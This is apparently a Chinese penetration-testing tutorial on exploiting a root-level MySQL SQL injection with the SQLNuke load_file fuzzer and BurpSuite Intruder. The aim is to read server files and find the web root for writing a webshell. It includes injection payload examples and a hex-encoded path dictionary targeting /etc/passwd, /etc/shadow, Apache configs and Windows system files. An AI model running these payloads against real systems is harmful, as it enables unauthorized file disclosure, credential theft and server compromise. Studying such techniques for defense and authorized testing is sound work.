0x01 前言
相信很多人在渗透测试过程中都有遇到过这种情况:一个MySQL Root高权限注入点,也具备读取和写入权限,这时只需要找到网站绝对路径就可以写入Webshell了,但如果利用所有已知方法还是找不到网站绝对路径呢?这节我将给大家介绍一款注入辅助工具和BurpSuite利用方式。
0x02 SQLNuke工具介绍
SQLNuke是一款用ruby编写的MySQL load_file Fuzzer工具,可以在找到网站高权限注入漏洞时辅助使用,它可以将目标系统中存在的文件下载到本地。
工具的原理也很简单,使用load_file函数配合路径字典来探测哪些文件可被读取并下载到本地磁盘。
sql.rb //主程序 config.yml //配置文件 lib/ //基础库目录 output/ //输出目录 inputs/packset.lst //字典文件 class/methods.rb //类文件
root@Jacks:~/sqlnuke-master# ./sql.rb -h -u, --url URL Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2-- -d, --data DATA POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John -x, --hex Hex Conversion --proxy http://IP:PORT HTTP Proxy --os (linux,win) Target Server OS (linux,win) --agent AGENT User-Agent for the header --ref REFERER Referer for the header --cookie COOKIE Cookie for the header -h, --help Information about commands
0x03 利用BurpSuite测试
我们可以把SQLNuke工具的字典文件拷贝到本地,然后自己添加一些Apache、phpMyAdmin或者其它常见敏感文件的绝对路径。
SQLNuke在执行时会将字典里的路径自动转换成Hex编码,而BurpSuite不会自动转换Hex编码,所以得先把拷贝下来的字典文件的路径转换为Hex(十六进制),且得在Hex前加“0x”。注:BurpSuite中有一个Encode as ASCII hex选项可以进行编码!
- BurpSuite->Intruder->Payloads->Payload Processing->Add->Encode(Encode as ASCII hex)
0x2F6574632F706173737764 0x2F6574632F736861646F77 0x2F6574632F67726F7570 0x2F6574632F686F737473 0x2F6574632F617061636865322F6C6F67732F6163636573732E6C6F67 0x2F6574632F68747470642F6163636573732E6C6F67 0x2F6574632F696E69742E642F6170616368652F68747470642E636F6E66 0x2F6574632F696E69742E642F617061636865322F68747470642E636F6E66 0x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E66 0x2F7573722F6C6F63616C2F6170616368652F636F6E662F68747470642E636F6E66 0x2F686F6D652F6170616368652F68747470642E636F6E66 0x2F686F6D652F6170616368652F636F6E662F68747470642E636F6E66 0x2F6F70742F6170616368652F636F6E662F68747470642E636F6E66 0x2F6574632F68747470642F68747470642E636F6E66 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66 0x2F6574632F6170616368652F6170616368652E636F6E66 0x2F6574632F6170616368652F68747470642E636F6E66 0x2F6574632F617061636865322F617061636865322E636F6E66 0x2F6574632F617061636865322F68747470642E636F6E66 0x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E66 0x433A5C626F6F742E696E69 0x433a5c77616d705c62696e5c6170616368655c6c6f67735c6163636573732e6c6f67 0x433a5c77616d705c62696e5c6d7973716c5c6d7973716c352e352e32345c77616d707365727665722e636f6e66 0x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c68747470642e636f6e66 0x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c77616d707365727665722e636f6e66 0x433a5c70687053747564795c4170616368655c636f6e665c68747470642e636f6e66 0x433a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c
将上图中抓取到的SQL注入点数据包发送到Intruder模块,接着选择第2项Positions,点击“Clear$”清除默认参数,然后选中数据包中“load_file(xxxx)”括号里的“xxxx”,点击“Add$”即可。
这时切换到第3项Payloads加载我们事先准备好的字典,然后再切换到第4项Options设置下线程数,都设置好了以后就可以点击BurpSuite菜单栏上的Intruder选项,点击Start Attack进行测试。
等测试完后,可以根据返回数据包的Length(长度)大小进行排序,这里会看到返回数据包的Length都不一样,因为返回的数据包里包含了不同的SQL注入语句,所以最终输出的Length也不一样。